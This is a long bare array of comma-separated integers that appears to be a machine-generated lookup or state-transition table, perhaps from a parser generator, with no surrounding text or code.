264,67,67,1460,67,1462,67,67,67,67,67,67,1466,67,67,67,67,67,67,67,67,1588,67,67,67,67,67,67,67,0,1300,0,0,0,1306,0,0,0,97,97,97,1506,97,97,97,97,97,97,97,97,1512,97,97,97,0,1728,97,97,97,97,97,97,97,97,97,97,97,901,97,97,97,97,1515,97,1517,97,97,97,97,97,97,1521,97,97,97,97,97,97,0,45,1652,45,45,45,1655,45,45,45,45,45,1542,45,45,45,45,45,45,45,45,45,45,45,45,45,1552,1553,45,45,45,1556,45,45,45,45,45,45,45,45,45,45,45,45,45,693,45,45,45,67,67,67,67,1572,67,67,67,67,1576,67,67,67,67,67,67,67,67,1602,67,67,1605,67,67,67,0,67,1582,67,67,67,67,67,67,67,67,67,67,67,67,67,67,1580,67,67,1596,67,67,67,67,67,67,67,67,67,67,67,67,67,0,542,0,544,67,67,67,67,1759,67,67,67,67,67,67,67,67,67,67,67,533,67,67,67,67,67,67,67,1770,67,67,67,67,67,97,97,97,97,97,97,1777,97,97,97,1793,97,97,97,97,97,45,45,45,45,45,45,45,998,45,45,1001,1002,45,45,67,67,45,1861,45,67,67,67,67,67,67,67,67,1871,67,1873,1874,67,0,97,45,67,0,97,45,67,16384,97,45,67,97,0,0,0,1473,0,1082,0,0,0,1475,0,1086,0,0,0,1477,1876,67,97,97,97,97,97,1883,0,1885,97,97,97,1889,0,0,0,286,0,0,0,286,0,2367488,2158592,2158592,2158592,2158592,2158592,2158592,0,40976,0,18,18,24,24,126,126,126,2053,0,2055,45,67,0,97,45,67,0,97,45,67,97,0,0,97,97,97,2039,97,45,45,45,45,67,67,67,67,67,226,67,67,67,67,67,67,67,67,1246,67,67,1249,1250,67,67,67,132,94242,0,0,0,38,102439,0,0,106538,98347,28809,45,45,141,45,45,45,1403,45,45,45,45,45,45,45,45,45,45,45,45,1186,45,45,1189,45,45,155,45,45,45,45,45,45,45,45,45,191,45,45,45,45,700,45,45,45,45,45,45,45,45,45,45,45,1753,45,45,45,67,67,45,45,67,208,67,67,67,222,67,67,67,67,67,67,67,67,67,1764,67,67,67,67,67,67,67,258,67,67,67,67,67,0,24850,12564,0,0,0,0,28809,53531,97,97,288,97,97,97,302,97,97,97,97,97,97,97,97,97,627,97,97,97,97,97,97,338,97,97,97,97,97,0,40976,0,18,18,24,24,27,27,27,131427,0,0,0,0,362,0,365,28809,367,139,45,370,45,45,45,45,716,45,45,45,45,45,722,45,45,45,45,45,45,1912,67,67,67,67,67,67,67,67,67,819,67,67,25398,542,13112,544,45,403,45,45,45,45,45,45,45,45,45,45,45,45,45,45,1409,45,67,67,67,67,489,67,67,67,67,67,67,67,67,67,67,67,771,67,67,67,67,520,67,67,67,67,67,67,67,67,67,67,67,534,67,67,67,67,67,67,1271,67,67,67,1274,67,67,67,1279,67,67,24850,24850,12564,12564,0,57889,0,0,0,53531,53531,367,286,97,553,97,97,97,97,586,97,97,97,97,97,97,97,97,97,97,97,1138,97,97,97,97,617,97,97,97,97,97,97,97,97,97,97,97,631,97,97,97,0,1834,97,97,97,97,97,0,0,0,97,97,97,97,97,353,0,40976,0,18,18,24,24,27,27,27,45,45,668,45,45,45,45,45,45,45,45,45,45,45,45,45,724,45,45,45,45,45,682,45,45,45,45,45,45,45,45,45,45,45,45,45,949,45,45,45,67,67,747,748,67,67,67,67,755,67,67,67,67,67,67,67,0,0,0,1302,0,0,0,1308,0,67,794,67,67,67,67,67,67,67,67,67,67,67,67,67,67,1701,67,97,97,97,845,846,97,97,97,97,853,97,97,97,97,97,97,0,40976,0,18,18,24,24,27,27,27,97,97,892,97,97,97,97,97,97,97,97,97,97,97,97,97,610,97,97,45,992,45,45,45,45,45,45,45,45,45,45,45,45,67,67,67,1239,67,67,67,1063,67,67,67,67,67,1068,67,67,67,67,67,67,67,0,0,1301,0,0,0,1307,0,0,97,1141,97,97,97,97,97,97,97,97,97,97,97,1152,97,97,0,0,97,97,2001,0,97,2003,97,97,97,45,45,45,1739,45,45,45,1742,45,45,45,45,45,97,97,97,97,1157,97,97,97,97,97,1162,97,97,97,97,97,97,1145,97,97,97,97,97,1151,97,97,97,1253,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,539,45,1423,45,45,67,67,67,67,67,67,67,1431,67,67,67,67,67,67,67,1695,67,67,67,67,67,1700,67,1702,67,67,1439,67,67,67,67,67,67,67,67,67,67,67,67,67,514,67,67,97,97,1492,97,97,97,97,97,97,97,97,97,97,97,97,97,611,97,97,1703,67,67,67,67,67,67,97,97,97,97,97,97,97,97,97,852,97,97,97,97,97,97,45,1949,45,1951,45,45,45,67,67,67,67,67,67,67,1961,67,0,97,45,67,0,97,2060,2061,0,2062,45,67,97,0,0,2036,97,97,97,97,45,45,45,45,67,67,67,67,67,223,67,67,237,67,67,67,67,67,67,67,1272,67,67,67,67,67,67,67,67,507,67,67,67,67,67,67,67,1963,67,67,67,97,97,97,97,0,1972,0,97,97,97,1975,0,921,29315,0,0,0,0,45,45,45,931,45,45,45,45,45,407,45,45,45,45,45,45,45,45,45,417,45,45,1989,67,67,67,67,67,67,67,67,67,67,67,1996,97,18,131427,0,0,360,0,0,0,362,0,0,365,29315,367,0,921,29315,0,0,0,0,45,45,930,45,45,45,45,45,45,444,45,45,45,45,45,45,45,67,67,97,97,1998,0,97,97,97,0,97,97,97,97,97,45,45,45,45,45,45,1985,45,1986,45,45,45,156,45,45,170,45,45,45,45,45,45,45,45,45,45,675,45,45,45,45,679,131427,0,358,0,0,362,0,365,28809,367,139,45,45,45,45,45,381,45,45,45,45,45,45,45,45,45,400,45,45,419,45,45,45,45,45,45,45,45,45,45,45,45,436,67,67,67,67,67,505,67,67,67,67,67,67,67,67,67,67,820,67,25398,542,13112,544,67,67,522,67,67,67,67,67,529,67,67,67,67,67,67,67,0,1299,0,0,0,1305,0,0,0,97,97,619,97,97,97,97,97,626,97,97,97,97,97,97,97,1105,97,97,97,97,1109,97,97,97,67,67,67,67,749,67,67,67,67,67,67,67,67,67,760,67,0,97,45,67,2058,97,45,67,0,97,45,67,97,0,0,97,97,97,97,97,45,45,45,2041,67,67,67,67,67,780,67,67,67,67,67,67,67,67,67,67,67,67,67,516,67,67,97,97,97,878,97,97,97,97,97,97,97,97,97,97,97,97,97,1629,97,0,45,979,45,45,45,45,984,45,45,45,45,45,45,45,45,45,1198,45,45,45,45,45,45,67,1023,67,67,67,67,1028,67,67,67,67,67,67,67,67,67,470,67,67,67,67,67,67,67,67,67,67,67,25398,0,13112,0,54074,0,0,0,1094,0,0,0,1092,1315,0,0,0,0,97,97,97,97,97,97,97,97,97,1486,97,1489,97,97,97,1117,97,97,97,97,1122,97,97,97,97,97,97,97,1146,97,97,97,97,97,97,97,97,881,97,97,97,886,97,97,97,1311,0,0,0,0,0,0,0,0,97,97,97,97,97,97,97,1615,97,97,97,97,97,1619,97,97,97,97,97,97,97,97,97,97,97,97,1631,97,97,1847,97,45,45,45,45,1852,45,45,45,45,45,45,45,1235,45,45,45,67,67,67,67,67,1868,67,67,67,1872,67,67,67,67,67,97,97,97,97,1882,0,0,0,97,97,97,97,0,1891,67,67,67,67,67,97,97,97,97,97,1929,0,0,97,97,97,97,97,97,45,1900,45,1901,45,45,45,1905,45,67,2054,97,45,67,0,97,45,67,0,97,45,67,97,0,0,97,2037,2038,97,97,45,45,45,45,67,67,67,67,1867,67,67,67,67,67,67,67,67,67,1774,97,97,97,97,97,97,0,94242,0,0,0,38,102439,0,0,106538,98347,28809,45,45,142,45,45,45,1412,45,45,45,45,45,45,45,45,45,45,45,45,432,45,45,45,45,45,157,45,45,171,45,45,45,182,45,45,45,45,200,45,45,45,1543,45,45,45,45,45,45,45,45,1551,45,45,45,45,1181,45,45,45,45,45,45,45,45,45,45,45,1211,45,45,45,1214,45,45,45,67,209,67,67,67,224,67,67,238,67,67,67,249,67,0,97,2056,2057,0,2059,45,67,0,97,45,67,97,0,0,1937,97,97,97,97,97,97,45,45,45,45,45,45,1741,45,45,45,45,45,45,67,67,67,267,67,67,67,0,24850,12564,0,0,0,0,28809,53531,97,97,289,97,97,97,304,97,97,318,97,97,97,329,97,97,0,0,97,1783,97,97,97,97,0,0,97,97,0,97,97,97,45,2026,45,45,45,45,67,2030,67,67,67,67,67,67,1041,67,67,67,67,67,67,67,67,67,1044,67,67,67,67,67,67,97,97,347,97,97,97,0,40976,0,18,18,24,24,27,27,27,45,666,45,45,45,45,45,45,45,45,45,45,45,45,45,45,1420,45,57889,0,0,54074,54074,550,0,97,97,97,97,97,97,97,97,840,67,1007,67,67,67,67,67,67,67,67,67,67,67,67,67,67,759,67,67,67,67,67,67,67,1052,67,67,67,67,67,67,67,67,67,67,1031,67,67,67,67,67,97,97,97,1101,97,97,97,97,97,97,97,97,97,97,97,97,592,97,97,97,1190,45,45,45,45,45,1195,45,1197,45,45,45,45,1201,45,45,45,45,1952,45,45,67,67,67,67,67,67,67,67,67,67,67,67,250,67,67,67,1255,67,1257,67,67,67,67,1261,67,67,67,67,67,67,67,67,1685,67,67,67,67,67,67,67,0,24851,12565,0,0,0,0,28809,53532,67,67,1267,67,67,67,67,67,67,1273,67,67,67,67,67,67,67,67,1696,67,67,67,67,67,67,67,0,0,0,0,0,0,2162688,0,0,1281,67,67,67,67,1285,67,67,67,67,67,67,67,67,67,67,1070,67,67,67,67,67,1335,97,1337,97,97,97,97,1341,97,97,97,97,97,97,97,97,882,97,97,97,97,97,97,97,1347,97,97,97,97,97,97,1353,97,97,97,97,97,97,1361,97,18,131427,0,638,0,0,0,0,362,0,0,365,29315,367,0,544,0,550,0,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2473984,2158592,2158592,2158592,2990080,2158592,2158592,2207744,2207744,2482176,2207744,2207744,2207744,2207744,2207744,2207744,2207744,0,0,0,0,0,0,2162688,0,53530,97,97,97,1365,97,97,97,97,97,97,97,97,97,97,97,97,608,97,97,97,45,45,1424,45,1425,67,67,67,67,67,67,67,67,67,67,67,1058,67,67,67,67,45,1555,45,45,1557,45,45,45,45,45,45,45,45,45,45,45,707,45,45,45,45,67,67,1570,67,67,67,67,67,67,67,67,67,67,67,67,67,773,67,67,1595,67,67,1597,67,67,67,67,67,67,67,67,67,67,67,0,0,0,0,0,0,0,0,0,0,139,2158592,2158592,2158592,2404352,2412544,97,97,97,1636,97,97,97,1639,97,97,1641,97,97,97,97,97,97,1173,0,921,0,0,0,0,0,0,45,67,67,67,1693,67,67,67,67,67,67,67,1698,67,67,67,67,67,67,67,1773,67,97,97,97,97,97,97,97,625,97,97,97,97,97,97,97,97,850,97,97,97,97,97,97,97,97,880,97,97,97,97,97,97,97,97,1106,97,97,97,97,97,97,97,1860,45,45,67,67,1865,67,67,67,67,1870,67,67,67,67,1875,67,67,97,97,1880,97,97,0,0,0,97,97,1888,97,0,0,0,1938,97,97,97,97,97,45,45,45,45,45,45,1854,45,45,45,45,45,45,45,1909,45,45,1911,67,67,67,67,67,67,67,67,67,67,1248,67,67,67,67,67,67,1922,67,67,1924,97,97,97,97,97,0,0,0,97,97,97,97,97,1898,45,45,45,45,45,45,1904,45,45,67,67,67,67,97,97,97,97,0,0,16384,97,97,97,97,0,97,97,97,97,97,97,97,97,97,0,1724,2008,2009,45,45,67,67,67,2014,2015,67,67,97,97,0,0,97,97,97,0,97,97,97,97,97,45,45,45,45,45,45,45,45,45,45,45,45,45,2022,0,2023,97,97,45,45,45,45,45,45,67,67,67,67,67,67,1869,67,67,67,67,67,67,0,94242,0,0,0,38,102439,0,0,106538,98347,28809,45,45,45,147,151,154,45,162,45,45,176,178,181,45,45,45,192,196,45,45,45,45,2012,67,67,67,67,67,67,2018,97,0,0,97,1978,97,97,97,1982,45,45,45,45,45,45,45,45,45,972,973,45,45,45,45,45,67,259,263,67,67,67,67,0,24850,12564,0,0,0,0,28809,53531,97,97,97,294,298,301,97,309,97,97,323,325,328,97,97,97,97,97,560,97,97,97,569,97,97,97,97,97,97,306,97,97,97,97,97,97,97,97,97,1624,97,97,97,97,97,97,97,0,921,0,1175,0,0,0,0,45,339,343,97,97,97,97,0,40976,0,18,18,24,24,27,27,27,67,67,503,67,67,67,67,67,67,67,67,67,512,67,67,519,97,97,600,97,97,97,97,97,97,97,97,97,609,97,97,616,45,649,45,45,45,45,45,654,45,45,45,45,45,45,45,45,1393,45,45,45,45,45,45,45,45,1209,45,45,45,45,45,45,45,67,763,67,67,67,67,67,67,67,67,770,67,67,67,774,67,0,2045,97,97,97,97,45,45,67,67,0,0,97,97,45,45,45,994,45,45,45,45,45,45,45,45,45,45,67,67,213,67,219,67,67,232,67,242,67,247,67,67,67,779,67,67,67,67,67,67,67,67,67,67,67,67,67,67,1018,67,67,67,67,811,67,67,67,67,67,67,67,67,67,25398,542,13112,544,57889,0,0,54074,54074,550,0,97,834,97,97,97,97,97,839,97,18,131427,0,638,0,0,0,0,362,0,0,365,29315,367,645,97,97,861,97,97,97,97,97,97,97,97,868,97,97,97,872,97,97,877,97,97,97,97,97,97,97,97,97,97,97,97,97,613,97,97,97,97,97,909,97,97,97,97,97,97,97,97,97,0,0,0,18,18,24,24,27,27,27,1036,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,1047,67,67,67,1050,67,67,67,67,67,67,67,67,67,67,67,67,1033,67,67,67,97,97,1130,97,97,97,97,97,97,97,97,97,97,97,97,97,638,0,0,67,67,67,1295,67,67,67,0,0,0,0,0,0,0,0,0,97,1317,97,97,97,97,97,97,1375,97,97,97,0,0,0,45,1379,45,45,45,45,45,45,422,45,45,45,429,431,45,45,45,45,0,1090,0,0,97,1479,97,97,97,97,97,97,97,97,97,97,1357,97,97,97,97,97,97,97,97,97,1716,97,97,97,97,97,97,97,97,97,1723,0,921,29315,0,0,0,0,45,929,45,45,45,45,45,45,45,1392,45,45,45,45,45,45,45,45,45,960,45,45,45,45,45,45,97,97,97,1738,45,45,45,45,45,45,45,1743,45,45,45,45,166,45,45,45,45,184,186,45,45,197,45,45,97,1779,0,0,97,97,97,97,97,97,0,0,97,97,0,97,18,131427,0,638,0,0,0,0,362,0,640,365,29315,367,0,921,29315,0,0,0,0,45,45,45,45,45,45,45,45,45,45,1537,45,45,45,45,45,1803,45,45,45,45,45,1809,45,45,45,67,67,67,1814,67,67,67,67,67,67,1821,67,67,67,67,67,67,97,97,97,97,97,0,0,0,97,97,97,97,0,0,67,67,67,1818,67,67,67,67,67,1824,67,67,67,97,97,97,97,97,0,0,0,97,97,97,97,1890,0,1829,97,97,0,0,97,97,1836,97,97,0,0,0,97,97,97,97,1981,45,45,45,45,45,45,45,45,45,1987,1845,97,97,97,45,45,45,45,45,1853,45,45,45,1857,45,45,45,67,1864,67,1866,67,67,67,67,67,67,67,67,67,97,97,97,97,97,97,97,1710,1711,67,67,97,97,97,97,97,0,0,0,1886,97,97,97,0,0,97,97,97,97,1838,0,0,0,97,1843,97,0,1893,97,97,97,97,97,45,45,45,45,45,45,45,45,45,45,1745,45,45,67,67,67,67,67,97,97,97,97,97,0,0,1931,97,97,97,97,97,588,97,97,97,97,97,97,97,97,97,97,629,97,97,97,97,97,67,2044,0,97,97,97,97,45,45,67,67,0,0,97,97,45,45,45,1660,45,45,45,45,45,45,45,45,45,45,45,45,453,45,455,67,67,67,67,268,67,67,67,0,24850,12564,0,0,0,0,28809,53531,97,97,348,97,97,97,0,40976,0,18,18,24,24,27,27,27,131427,0,359,0,0,362,0,365,28809,367,139,45,45,45,45,45,421,45,45,45,45,45,45,45,434,45,45,695,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,1667,45,0,921,29315,0,925,0,0,45,45,45,45,45,45,45,45,45,1811,45,67,67,67,67,67,67,1037,67,1039,67,67,67,67,67,67,67,67,67,67,67,67,1277,67,67,67,67,67,67,67,67,25398,0,13112,0,54074,0,0,0,1095,0,0,0,1096,97,97,97,97,97,97,97,97,97,97,97,97,869,97,97,97,97,97,97,1131,97,1133,97,97,97,97,97,97,97,97,97,97,1370,97,97,97,97,97,1312,0,0,0,0,1096,0,0,0,97,97,97,97,97,97,97,1327,97,97,97,97,97,1332,97,97,97,1830,97,0,0,97,97,97,97,97,0,0,0,97,97,97,1896,97,97,45,45,45,45,45,45,45,45,45,1548,45,45,45,45,45,45,133,94242,0,0,0,38,102439,0,0,106538,98347,28809,45,45,45,45,380,45,45,45,45,45,45,45,45,45,45,401,45,45,158,45,45,45,45,45,45,45,45,45,45,45,45,45,1200,45,45,45,45,206,67,67,67,67,67,225,67,67,67,67,67,67,67,67,754,67,67,67,67,67,67,67,57889,0,0,54074,54074,550,832,97,97,97,97,97,97,97,97,97,1342,97,97,97,97,97,97,67,67,67,67,67,25398,1083,13112,1087,54074,1091,0,0,0,0,0,0,1316,0,831,97,97,97,97,97,97,97,1174,921,0,1175,0,0,0,0,45,0,94242,0,0,0,38,102439,0,0,106538,98347,28809,45,45,45,148,67,67,264,67,67,67,67,0,24850,12564,0,0,0,0,28809,53531,97,97,97,295,97,97,97,97,313,97,97,97,97,331,333,97,18,131427,356,638,0,0,0,0,362,0,0,365,0,367,0,45,45,1530,45,45,45,45,45,45,45,45,45,45,45,45,988,45,45,45,97,344,97,97,97,97,0,40976,0,18,18,24,24,27,27,27,402,404,45,45,45,45,45,45,45,45,45,45,45,45,45,45,1756,67,438,45,45,45,45,45,45,45,45,449,450,45,45,45,67,67,214,218,221,67,229,67,67,243,245,248,67,67,67,67,67,488,490,67,67,67,67,67,67,67,67,67,67,67,1071,67,1073,67,67,67,67,67,524,67,67,67,67,67,67,67,67,535,536,67,67,67,67,67,67,1683,1684,67,67,67,67,1688,1689,67,67,67,67,67,67,1586,67,67,67,67,67,67,67,67,67,469,67,67,67,67,67,67,97,97,97,585,587,97,97,97,97,97,97,97,97,97,97,97,1163,97,97,97,97,97,97,97,621,97,97,97,97,97,97,97,97,632,633,97,97,0,0,1782,97,97,97,97,97,0,0,97,97,0,97,712,45,45,45,717,45,45,45,45,45,45,45,45,725,45,45,45,163,167,173,177,45,45,45,45,45,193,45,45,45,45,982,45,45,45,45,45,45,987,45,45,45,45,45,1558,45,1560,45,45,45,45,45,45,45,45,704,705,45,45,45,45,45,45,45,45,731,45,45,45,67,67,67,67,67,739,67,67,67,67,67,67,273,0,24850,12564,0,0,0,0,28809,53531,67,67,67,764,67,67,67,67,67,67,67,67,67,67,67,67,1290,67,67,67,67,67,67,812,67,67,67,67,818,67,67,67,25398,542,13112,544,57889,0,0,54074,54074,550,0,97,97,97,97,97,837,97,97,97,97,97,602,97,97,97,97,97,97,97,97,97,97,1137,97,97,97,97,97,97,97,97,97,862,97,97,97,97,97,97,97,97,97,97,97,1627,97,97,97,0,97,97,97,97,910,97,97,97,97,916,97,97,97,0,0,0,97,97,1940,97,97,1942,45,45,45,45,45,45,385,45,45,45,45,395,45,45,45,45,966,45,969,45,45,45,45,45,45,45,45,45,45,975,45,45,45,406,45,45,45,45,45,45,45,45,45,45,45,45,974,45,45,45,67,67,67,67,1010,67,67,67,67,67,67,67,67,67,67,67,1262,67,67,67,67,67,67,67,67,67,1040,67,1042,67,1045,67,67,67,67,67,67,67,97,1706,97,97,97,1709,97,97,97,67,67,67,67,1051,67,67,67,67,67,1057,67,67,67,67,67,67,67,1443,67,67,1446,67,67,67,67,67,67,67,1297,0,0,0,1303,0,0,0,1309,67,67,67,67,1079,25398,0,13112,0,54074,0,0,0,0,0,0,0,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2207744,2207744,2207744,2207744,2207744,2572288,2207744,2207744,2207744,1098,97,97,97,97,97,1104,97,97,97,97,97,97,97,97,97,1356,97,97,97,97,97,97,1128,97,97,97,97,97,97,1134,97,1136,97,1139,97,97,97,97,97,97,1622,97,97,97,97,97,97,97,97,0,921,0,0,0,1176,0,646,45,67,67,67,1268,67,67,67,67,67,67,67,67,67,67,67,67,1469,67,67,67,97,1348,97,97,97,97,97,97,97,97,97,97,97,97,97,97,1127,97,67,1569,67,67,67,67,67,67,67,67,67,67,67,67,67,67,1448,1449,67,1816,67,67,67,67,67,67,67,67,67,1825,67,67,1827,97,97,0,1781,97,97,97,97,97,97,0,0,97,97,0,97,97,97,1831,0,0,97,97,97,97,97,0,0,0,97,97,97,1980,97,45,45,45,45,45,45,45,45,45,45,1395,45,45,45,45,45,97,1846,97,97,45,45,45,45,45,45,45,45,45,45,45,45,1212,45,45,45,45,45,45,2010,45,67,67,67,67,67,2016,67,97,97,0,0,97,97,97,0,97,97,97,97,97,45,45,2007,0,94242,0,0,0,38,102439,0,0,106538,98347,28809,45,45,143,45,45,45,1671,45,45,45,45,45,45,45,45,45,45,45,67,1813,67,67,1815,45,45,67,210,67,67,67,67,67,67,239,67,67,67,67,67,67,67,1454,67,67,67,67,67,67,67,67,67,1445,67,67,67,67,67,67,97,97,290,97,97,97,97,97,97,319,97,97,97,97,97,97,303,97,97,317,97,97,97,97,97,97,305,97,97,97,97,97,97,97,97,97,899,97,97,97,97,97,97,375,45,45,45,379,45,45,390,45,45,394,45,45,45,45,45,443,45,45,45,45,45,45,45,45,67,67,67,67,67,461,67,67,67,465,67,67,476,67,67,480,67,67,67,67,67,67,1694,67,67,67,67,67,67,67,67,67,1288,67,67,67,67,67,67,500,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,1075,97,97,97,558,97,97,97,562,97,97,573,97,97,577,97,97,97,97,97,895,97,97,97,97,97,97,903,97,97,97,0,97,97,1638,97,97,97,97,97,97,97,97,1646,597,97,97,97,97,97,97,97,97,97,97,97,97,97,97,97,1334,45,681,45,45,45,45,45,45,45,45,45,45,45,45,45,45,1396,45,45,1399,45,45,730,45,45,45,45,67,67,67,67,67,67,67,67,67,67,1434,67,67,67,67,67,67,750,67,67,67,67,67,67,67,67,67,67,1456,67,67,67,67,67,45,45,993,45,45,45,45,45,45,45,45,45,45,45,67,67,1238,67,67,1006,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,1280,1048,1049,67,67,67,67,67,67,67,67,67,67,1059,67,67,67,67,67,67,1286,67,67,67,67,67,67,67,1291,67,97,97,1100,97,97,97,97,97,97,97,97,97,97,97,97,97,638,0,920,97,97,1142,1143,97,97,97,97,97,97,97,97,97,97,1153,97,97,97,97,97,1158,97,97,97,1161,97,97,97,97,1166,97,97,97,97,97,1325,97,97,97,97,97,97,97,97,97,97,1328,97,97,97,97,97,97,97,45,1218,45,45,45,45,45,45,45,45,45,45,45,45,45,45,1678,45,45,45,67,67,67,67,67,1269,67,67,67,67,67,67,67,67,1278,67,67,67,67,67,67,1761,67,67,67,67,67,67,67,67,67,530,67,67,67,67,67,67,97,97,1349,97,97,97,97,97,97,97,97,1358,97,97,97,97,97,97,1623,97,97,97,97,97,97,97,97,0,921,0,0,926,0,0,0,45,45,1411,45,45,45,45,45,45,45,45,45,45,45,45,45,45,1754,45,45,67,67,1301,0,1307,0,1313,97,97,97,97,97,97,97,97,97,97,97,21054,97,97,97,97,67,1757,67,67,67,1760,67,67,67,67,67,67,67,67,67,67,1467,67,67,67,67,67,1778,97,0,0,97,97,97,97,97,97,0,0,97,97,0,97,97,97,97,97,1352,97,97,97,97,97,97,97,97,97,97,1511,97,97,97,97,97,67,67,67,67,67,1820,67,1822,67,67,67,67,67,97,97,97,97,97,0,0,0,97,1933,97,1892,97,97,97,97,97,97,1899,45,45,45,45,45,45,45,45,1664,45,45,45,45,45,45,45,45,1546,45,45,45,45,45,45,45,45,1208,45,45,45,45,45,45,45,45,1224,45,45,45,45,45,45,45,45,673,45,45,45,45,45,45,45,67,67,67,67,67,1925,97,97,97,97,0,0,0,97,97,97,97,97,623,97,97,97,97,97,97,97,97,97,97,307,97,97,97,97,97,97,97,97,97,1796,97,45,45,45,45,45,45,45,970,45,45,45,45,45,45,45,45,1417,45,45,45,45,45,45,45,67,1964,67,67,97,97,97,97,0,0,0,97,97,97,97,0,97,97,97,97,97,97,1721,97,97,0,0,1997,97,0,0,2e3,97,97,0,97,97,97,97,97,45,45,45,45,733,45,67,67,67,67,67,67,67,67,67,67,803,67,67,67,67,67,0,94242,0,0,0,38,102439,0,0,106538,98347,28809,45,45,144,45,45,45,1805,45,1807,45,45,45,45,45,67,67,67,67,67,67,231,67,67,67,67,67,67,67,0,24850,12564,0,0,0,0,28809,53531,45,45,67,211,67,67,67,67,230,234,240,244,67,67,67,67,67,67,464,67,67,67,67,67,67,479,67,67,67,260,67,67,67,67,67,0,24850,12564,0,0,0,0,28809,53531,97,97,291,97,97,97,97,310,314,320,324,97,97,97,97,97,97,1367,97,97,97,97,97,97,97,97,97,1355,97,97,97,97,97,97,1362,340,97,97,97,97,97,0,40976,0,18,18,24,24,27,27,27,131427,0,0,360,0,362,0,365,28809,367,139,369,45,45,45,374,67,67,460,67,67,67,67,466,67,67,67,67,67,67,67,67,801,67,67,67,67,67,67,67,67,67,487,67,67,67,67,67,67,67,67,67,67,498,67,67,67,67,67,67,1772,67,67,97,97,97,97,97,97,97,0,921,922,1175,0,0,0,0,45,67,502,67,67,67,67,67,67,67,508,67,67,67,515,517,67,67,67,67,67,97,97,97,97,97,0,0,0,1932,97,97,0,1999,97,97,97,0,97,97,2004,2005,97,45,45,45,45,1193,45,45,45,45,45,45,45,45,45,45,45,676,45,45,45,45,67,24850,24850,12564,12564,0,57889,0,0,0,53531,53531,367,286,552,97,97,97,97,97,1377,0,0,45,45,45,45,45,45,45,45,655,45,45,45,45,45,45,45,97,97,557,97,97,97,97,563,97,97,97,97,97,97,97,97,1135,97,97,97,97,97,97,97,97,97,584,97,97,97,97,97,97,97,97,97,97,595,97,97,97,97,97,911,97,97,97,97,97,97,97,638,0,0,0,0,1315,0,0,0,0,97,97,97,1319,97,97,97,0,97,97,97,97,97,97,1733,97,97,97,97,97,97,1340,97,97,97,1343,97,97,1345,97,1346,97,599,97,97,97,97,97,97,97,605,97,97,97,612,614,97,97,97,97,97,1794,97,97,97,45,45,45,45,45,45,45,1207,45,45,45,45,45,45,1213,45,45,745,67,67,67,67,751,67,67,67,67,67,67,67,67,67,67,1577,67,67,67,67,67,762,67,67,67,67,766,67,67,67,67,67,67,67,67,67,67,1765,67,67,67,67,67,777,67,67,781,67,67,67,67,67,67,67,67,67,67,67,67,1592,1593,67,67,97,843,97,97,97,97,849,97,97,97,97,97,97,97,97,97,1510,97,97,97,97,97,97,97,860,97,97,97,97,864,97,97,97,97,97,97,97,97,97,1797,45,45,45,45,1801,45,97,875,97,97,879,97,97,97,97,97,97,97,97,97,97,97,1522,97,97,97,97,97,991,45,45,45,45,996,45,45,45,45,45,45,45,45,67,67,215,67,67,67,67,233,67,67,67,67,251,253,1022,67,67,67,1026,67,67,67,67,67,67,67,67,67,67,1035,67,67,1038,67,67,67,67,67,67,67,67,67,67,67,67,67,1458,67,67,67,67,67,1064,67,67,67,1067,67,67,67,67,1072,67,67,67,67,67,67,1296,0,0,0,0,0,0,0,0,0,2367488,2158592,2158592,2158592,2158592,2158592,2158592,67,67,67,67,67,25398,0,13112,0,54074,0,0,0,0,1096,0,921,29315,0,0,0,0,928,45,45,45,45,45,934,45,45,45,164,45,45,45,45,45,45,45,45,45,198,45,45,45,378,45,45,45,45,45,45,393,45,45,45,398,45,97,97,1116,97,97,97,1120,97,97,97,97,97,97,97,97,97,1147,1148,97,97,97,97,97,97,97,1129,97,97,1132,97,97,97,97,97,97,97,97,97,97,97,1626,97,97,97,97,0,45,1178,45,45,45,45,45,45,45,45,45,1185,45,45,45,45,441,45,45,45,45,45,45,451,45,45,67,67,67,67,67,227,67,67,67,67,67,67,67,67,1260,67,67,67,1263,67,67,1265,1203,45,45,1205,45,1206,45,45,45,45,45,45,45,45,45,1216,67,1266,67,67,67,67,67,67,67,67,67,1276,67,67,67,67,67,67,492,67,67,67,67,67,67,67,67,67,471,67,67,67,67,481,67,45,1386,45,1389,45,45,45,45,1394,45,45,45,1397,45,45,45,45,995,45,997,45,45,45,45,45,45,45,67,67,67,67,1915,67,67,67,67,67,1422,45,45,45,67,67,67,67,67,67,67,67,67,1433,67,1436,67,67,67,67,1441,67,67,67,1444,67,67,67,67,67,67,67,0,24850,12564,0,0,0,281,28809,53531,97,97,97,97,1494,97,97,97,1497,97,97,97,97,97,97,97,1368,97,97,97,97,97,97,97,97,851,97,97,97,97,97,97,97,67,67,67,1571,67,67,67,67,67,67,67,67,67,67,67,67,25398,542,13112,544,67,67,1583,67,67,67,67,67,67,67,67,1591,67,67,67,67,67,67,752,67,67,67,67,67,67,67,67,67,1056,67,67,67,67,67,67,97,1634,97,0,97,97,97,97,97,97,97,97,97,97,97,97,1125,97,97,97,1647,97,97,97,97,97,0,45,45,45,45,45,45,45,45,45,1183,45,45,45,45,45,45,45,45,45,409,45,45,45,45,45,45,1658,45,45,45,45,45,45,45,45,45,45,45,45,45,45,1668,1712,97,97,97,0,97,97,97,97,97,97,97,97,97,0,0,1835,97,97,97,97,0,0,0,97,97,1844,97,97,1726,0,97,97,97,97,97,1732,97,1734,97,97,97,97,97,300,97,308,97,97,97,97,97,97,97,97,866,97,97,97,97,97,97,97,67,67,67,1758,67,67,67,1762,67,67,67,67,67,67,67,67,1043,67,67,67,67,67,67,67,67,67,67,67,67,1771,67,67,67,97,97,97,97,97,1776,97,97,97,97,297,97,97,97,97,97,97,97,97,97,97,97,1108,97,97,97,97,67,67,67,1966,97,97,97,1970,0,0,0,97,97,97,97,0,97,97,97,1720,97,97,97,97,97,0,0,97,97,97,1837,97,0,1840,1841,97,97,97,1988,45,67,67,67,67,67,67,67,67,67,1994,1995,67,97,97,97,97,97,1103,97,97,97,97,97,97,97,97,97,97,917,97,97,0,0,0,67,67,265,67,67,67,67,0,24850,12564,0,0,0,0,28809,53531,97,345,97,97,97,97,0,40976,0,18,18,24,24,27,27,27,131427,0,0,0,361,362,0,365,28809,367,139,45,45,45,